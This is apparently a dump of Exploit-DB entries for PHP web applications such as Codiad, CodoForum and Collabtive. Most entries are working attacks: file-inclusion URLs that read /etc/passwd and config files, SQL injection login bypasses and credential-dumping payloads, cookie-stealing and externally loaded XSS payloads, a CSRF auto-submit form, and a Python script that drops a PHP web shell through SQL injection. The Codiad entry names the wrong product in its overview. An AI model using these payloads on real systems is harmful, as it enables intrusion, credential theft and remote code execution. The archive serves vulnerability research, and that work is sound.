deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36371
Description: Codiad 2.5.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-03-12
Author: TUNISIAN CYBER

Exploit:
[+]Title: Codiad v2.5.3 - LFI Vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 12/03/2015
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Pie Register 2.x suffers, from a Local File Disclosure vulnerability.
 
[+]Proof Of Concept:

[PHP]
    //////////////////////////////////////////////////////////////////
    // Run Download
    //////////////////////////////////////////////////////////////////

    if(isset($_GET['type']) && ($_GET['type']=='directory' || $_GET['type']=='root')){
        // Create tarball
        $filename = explode("/",$_GET['path']);
        //$filename = array_pop($filename) . "-" . date('Y.m.d') . ".tar.gz";
        $filename = array_pop($filename) . "-" . date('Y.m.d');
        $targetPath = DATA . '/';
        $dir = WORKSPACE . '/' . $_GET['path'];
        if(!is_dir($dir)){
        	exit('<script>parent.codiad.message.error("Directory not found.")</script>');
        }

        //////////////////////////////////////////////////////////////////
        // Check system() command and a non windows OS
        //////////////////////////////////////////////////////////////////
        if(isAvailable('system') && stripos(PHP_OS, 'win') === false){
          # Execute the tar command and save file
          $filename .= '.tar.gz';

          system("tar -pczf ".$targetPath.$filename." -C ".WORKSPACE." ".$_GET['path']);
          $download_file = $targetPath.$filename;
        }elseif(extension_loaded('zip')){ //Check if zip-Extension is availiable
          //build zipfile
          require_once 'class.dirzip.php';

          $filename .= '.zip';
          $download_file = $targetPath.$filename;
          DirZip::zipDir($dir, $targetPath .$filename);
        }else{
          exit('<script>parent.codiad.message.error("Could not pack the folder, zip-extension missing")</script>');
        }
    }else{
        $filename = explode("/",$_GET['path']);
        $filename = array_pop($filename);
        $download_file = WORKSPACE . '/' . $_GET['path'];
    }
[PHP]


http://demo.codiad.com/i/197156553/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined
Exploit-DB #31099
Description: Codice CMS - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27592/info

Codice CMS is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following exploit information is available:

Passing:

username: admin' or 1=1/*
[CREDENTIAL_REDACTED]


will bypass the authentication process.
Exploit-DB #36320
Description: CodoForum 2.5.1 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-03-10
Author: Kacper Szurek

Exploit:
# Exploit Title: Codoforum 2.5.1 Arbitrary File Download
# Date: 23-11-2014
# Software Link: https://codoforum.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9261

1. Description
  
str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

    str_replace("..", "", $name);
    str_replace("%2e%2e", "", $name);

    return $name;
}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php
or
http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:
  
Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip
Exploit-DB #40150
Description: CodoForum 3.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-07-25
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title			: CodoForum <= 3.2.1 Remote SQL Injection Vulnerability
Vendor Homepage		: https://codoforum.com/
Remotely Exploitable	: Yes
Versions Affected	: Prior to 3.2.1
Tested on		: Ubuntu (Apache) | PHP 5.5.9 | MySQL 5.5
Vulnerability		: SQL Injection (Critical/High)
Date			: 23.07.2016
Author			: Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman
  

3. Description
========================================
The script that parses the request URL and displays user profile depending on
the retrieved id does not use proper input validation against SQL injection.


4. TECHNICAL DETAILS & POC
========================================
SQL Injection Proof of Concept
----------------------------------------
Example for fetching current user database:
http://server/forum/index.php?u=/user/profile/1%20AND%20(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT((MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,451))))s),%[PII_REDACTED][PII_REDACTED]0,%[PII_REDACTED][PII_REDACTED]0)))


5. SOLUTION
========================================
Upgrade to the latest version v3.4 build 19
Exploit-DB #40015
Description: CodoForum 3.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-27
Author: Ahmed Sherif

Exploit:
# Exploit Title: Codoforum v3.4 Stored Cross-Site Scripting (Stored XSS)
# Google Dork: intext:"powered by codoforum"
# Date: 01/06/2016
# Exploit Author: Ahmed Sherif (OffensiveBits)
# Vendor Homepage: http://codologic.com/page/
# Software Link: http://codoforum.com/index.php
# Version: V3.4
# Tested on: Linux Mint


1. Description:

The Reply and search functionalities are both vulnerable to Stored XSS due
to improper filtration in displaying the content of replies.


2. Steps to reproduce the vulnerability:


1. Login to your account.
2. look for any topic and add a reply .
3. in the reply textbox add a widely used common keyword within xss
payload for example : (keyword"><svg/onload=prompt(document.cookie)>)
4. while any user surfing the topic and started to search for specific
keywords the javascript code will be executed.



3. Solution:

The new version of codoforum will be released this week.
Exploit-DB #47886
Description: Codoforum 4.8.3 - 'input_txt' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-01-08
Author: Vyshnav nk

Exploit:
# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-07
# Exploit Author: Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: Linux
# CVE : N/A

Codoforum is prone to a Persistent Cross-site Scripting Vulnerability in User-Comment replay section
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.

Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Go to Start a new Topic >> Replay to any of the comment with XSS Payload
3. Payload : "><svg/onload=alert(1)>
4. Now  an XSS alert will be triggered here.

POC:

POST /forum/index.php?u=/Ajax/topic/reply HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 214
Origin: http://susmost.com
Connection: close
Referer: http://localhost/forum/index.php?u=/topic/21/avg-antivirus-download-avg-antivirus-free-download-topbrandscompare
Cookie: PHPSESSID=b5dccfcef3b5f4ce9571fbd3269d5b23; cf=0

input_txt="><svg/onload=alert(1)>&output_txt=STARTCODOTAGp%3E%22%26gt%3B%26lt%3Bsvg%2Fonload%3Dalert(1)%26gt%3BSTARTCODOTAG%2Fp%3E%0A&tid=21&end_of_line=&token=35f5f85a86b15f475bbd9b79de313fa0&pid=false
Exploit-DB #47876
Description: Codoforum 4.8.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-01-06
Author: Prasanth

Exploit:
# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-03
# Exploit Author: Prasanth c41m, Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: [relevant os]
# CVE : [if applicable]
# source: https://medium.com/@c41m/b2e1133c6a91?

Codoforum is prone to a stored xss vulnerability.
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.
Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Goto http://localhost/index.php?u=/user/register
3. Create a user using :- 
			username : "><svg/onload=alert(1)>
			[CREDENTIAL_REDACTED]
			email    : c41m@email.com
4. Now goto http://localhost/admin/index.php?page=users/manage, an XSS alert popup will be triggered here.
Exploit-DB #26879
Description: Cofax 2.0 - search.htm Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15940/info

Cofax is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.htm?searchstring2=&searchstring=[XSS]
Exploit-DB #11461
Description: CoffieNet CMS - Admin Bypass
Type: webapps
Platform: php
Date: 2010-02-15
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : CoffieNet CMs By Pass Admin Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria                                                                                           
| # Dork     :                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Multi                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
http://127.0.0.1/CoffieNet/admin/admin.php

http://127.0.0.1/CoffieNet/admin/admin.php?loc=home

http://127.0.0.1/CoffieNet/admin/img_upload.php (2 upload Ev!l)
 
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #41294
Description: Collabo - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Collabo - TeamBusiness Collaboration Network - Arbitrary File Download
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://321-internet.com/
# Software Buy: https://codecanyon.net/item/collabo-teambusiness-collaboration-network/15242543
# Demo: http://321-internet.com/codecanyon/collabo/demo/collabo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/download.php?file_id=[FILE]&file_name=Ihsan_Sencan&file_type=php
# Etc...
# # # # #
Exploit-DB #15093
Description: Collaborative Passwords Manager 1.07 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-09-24
Author: sh00t0ut

Exploit:
[~] Collaborative Passwords Manager 1.07 Multiple Local Include Exploit
[~] Found by sh00t0ut
[~] Expl: 
[~] Vendor: http://code.google.com/p/cpassman/downloads/list

http://[victim]/?_SESSION[user_language]=[etc/passwd]%00
http://[victim]/sources/admin.queries.php?_SESSION[user_language]=[etc/passwd]%00
http://[victim]/sources/functions.queries.php?_SESSION[user_language]=[etc/passwd]%00
http://[victim]/sources/views.queries.php?_SESSION[user_language]=[etc/passwd]%00
http://[victim]/sources/groups.queries.php?_SESSION[user_language]=[etc/passwd]%00
http://[victim]/sources/items.queries.php?_SESSION[user_language]=[etc/passwd]%00
Exploit-DB #27793
Description: Collaborative Portal Server 3.4 - 'POS' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17774/info

Collaborative Portal Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Collaborative Portal Server version 3.4.0 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/popup_image?pos=[XSS]
Exploit-DB #38673
Description: Collabtive - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-22
Author: Enrico Cinquini

Exploit:
source: https://www.securityfocus.com/bid/61384/info

Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.

Collabtive 1.0 is vulnerable; other versions may also be affected. 

File upload:

https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php

Cross-site scripting:

https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2

"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>

Security-bypass:

https://www.example.com/secprj/manageuser.php?action=del&id=5
Exploit-DB #35550
Description: Collabtive 0.6.5 - Multiple Remote Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-31
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47105/info

Collabtive is prone to multiple remote input-validation vulnerabilities including cross-site scripting, HTML-injection, and directory-traversal issues.

Attackers can exploit these issues to obtain sensitive information, execute arbitrary script code, and steal cookie-based authentication credentials.

Collabtive 0.6.5 is vulnerable; other versions may also be affected. 

Directory Traversal:

http://www.example.com/thumb.php?pic=./../../../../../tmp/photo.jpg

Cross-site Scripting:

http://www.example.com/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script>
http://www.example.com/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script>


HTML-injection:

<form action="http://www.example.com/manageproject.php?action=edit&id=1" method="post" name="main">
<input type="hidden" name="name" value=&#039;test"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #15381
Description: Collabtive 0.65 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-01
Author: Anatolia Security

Exploit:
ANATOLIA SECURITY ADVISORY
---------------------------

### ADVISORY INFO ###
+ Title: Collabtive SQL Injection Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-004.txt
+ Advisory ID:  2010-004
+ Version: 0.65
+ Date: 12/10/2010
+ Impact: Improper Neutralization of Special Elements used in an SQL Command 
+ CWE-ID: 89
+ Credit: Anatolia Security 



### VULNERABLE PRODUCT ###
+ Description: "Collabtive provides a web based platform to bring the project 
management process and documentation online. Collabtive is an open source solution 
with features and functionality similar to proprietary software such as BaseCamp."
+ Homepage: http://www.collabtive.com



### VULNERABILITY DETAILS ###
+ Description: Collabtive has "union" type SQL injection vulnerability. In "managechat.php" when the value of parameter "actions" equal to "pull"
application gets value of the cookie named like chatstart[USERTOID]. Application apply mysql_real_escape_string function to same variable but 
include it without quotes. So mysql_real_escape_string function can't provide any security in this case. Attacker can exploit this vulnerability
for executing arbitrary sql codes.


+ Exploit/POC:
Set up cookie value to payload (*) and visit "managechat.php?action=pull".

(*) Payload:[PII_REDACTED] AND 1337=9 union select 1,2,3,4,5,6,concat_ws(0x3a,mailuser,mailpass) from settings limit 1--++owned
Exploit-DB #26410
Description: Collabtive 1.0 - 'manageuser.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-06-24
Author: drone

Exploit:
# Exploit Title: Collabtive 1.0 SQLi
# Date: 06/17/2013
# Exploit Author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/06/collabtive-10-sqli.html
# Vendor homepage: http://collabtive.o-dyn.de/
# Software link: http://downloads.sourceforge.net/project/collabtive/collabtive/1.0/collabtive-10.zip
# Version: 1.0
# Fixed In: https://github.com/philippK-de/Collabtive 
# Tested on: Ubuntu 12.04 (apparmor disabled)

""" Collabtive 1.0 SQL injection web shell

    Requires authenticated user.
"""
from argparse import ArgumentParser
import string
import random
import urllib, urllib2
import sys

def run(options):
    print '[!] Dropping web shell on %s...'%options.ip

    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    # <? php system($_GET["rr"]); ?>
    exploit = '{0}%20UNION%20SELECT%200x3c3f[PII_REDACTED]797374656d28245f4745545b227272225d293b3f3e'\
              '%20INTO%20OUTFILE%20\'{1}/{2}.php\''.format(options.task,options.path,shell)

    query_string = 'action=profile&id={0}&project={1}&task={2}'.format(options.id,options.project,
                                                                        exploit)
    request = urllib2.build_opener()
    request.addheaders.append(('Cookie', 'PHPSESSID=%s'%options.session.strip()))

    try:
        request.open('http://{0}{1}/manageuser.php?{2}'.format(
                                                options.ip, options.rootp,query_string))
    except: pass
    print '[!] Shell dropped.  http://{0}{1}/{2}.php?rr=ls'.format(options.ip, options.rootp, shell)
def parse():
    parser = ArgumentParser()
    parser.add_argument("-i", help='server address', action='store', dest='ip', required=True)
    parser.add_argument('-P', help='valid php session id', action='store',
                        dest='session', required=True)
    parser.add_argument("-p", help='path to manageuser.php (/collabtive)',action='store',
                        default='/collabtive', dest='rootp')
    parser.add_argument("-w", help="writable web path (/var/www/collabtive)",action='store',
                        default='/var/www/collabtive', dest='path')
    parser.add_argument('--id', help='collab id (1)', action='store', default=1, dest='id')
    parser.add_argument('--project', help='project id (1)', action='store', default=1,
                        dest='project')
    parser.add_argument('--task', help='task id (1)', action='store', default=1,
                        dest='task')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.rootp[-1] != '/' else options.rootp[:-1]
    return options

if __name__=="__main__":
    run(parse())
Exploit-DB #33250
Description: Collabtive 1.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-05-08
Author: Deepak Rathore

Exploit:
Vulnerability title: Stored XSS vulnerability in Collabtive application
(CVE-2014-3247)
CVE: CVE-2014-3247(coordinated with cve assigning team and vendor)
Vendor: Collabtive
Product: Collabtive (Open Source Project Management Software)
Affected version: 1.12
Fixed version: 2.0
Reported by: Deepak Rathore
Severity: Critical
URL: http://[domain]/collabtive-12/admin.php?action=addpro
Affected Users: Authenticated users
Affected parameter(s): desc

Issue details: The value of the desc request parameter is copied into the
HTML document as plain text between tags. The payload 1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6 was submitted in the desc parameter.
This input was echoed as 1c91c<img src=a onerror=alert(1) >cc245622da6 in
the application's response.  This proof-of-concept attack demonstrates that
it is possible to inject arbitrary JavaScript into the application's
response. The proof-of-concept attack demonstrated uses an event handler to
introduce arbitrary JavaScript into the document.

HTTP request:
POST /collabtive-12/admin.php?action=addpro HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101
Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/collabtive-12/index.php?mode=login
Cookie: PHPSESSID=ri2sqmga763p7qav73enfv99p5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
name=test&desc=test928a4<img%20src%3da%20onerror%3dalert(1)>a480a723950&neverdue=neverdue&budget=10&assignto%5B%5D=1&assignme=1

Steps to replicate:
1. Login into application
2. Go to "Desktop" tab and click on "Add project"
3. Fill the project details in the project form and click on "Add" button
4. Intercept request by interception proxy i.e. OWASP Zap, Burp Suite etc
5. Replace "desc" parameter value with "1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6"
6. Forward manipulated request to server and wait for response in browser
7. A popup with alert message will come that is the proof of vulnerability.

Tools used: Burp Suite proxy, Mozilla Firefox browser

Best Regards,
Deepak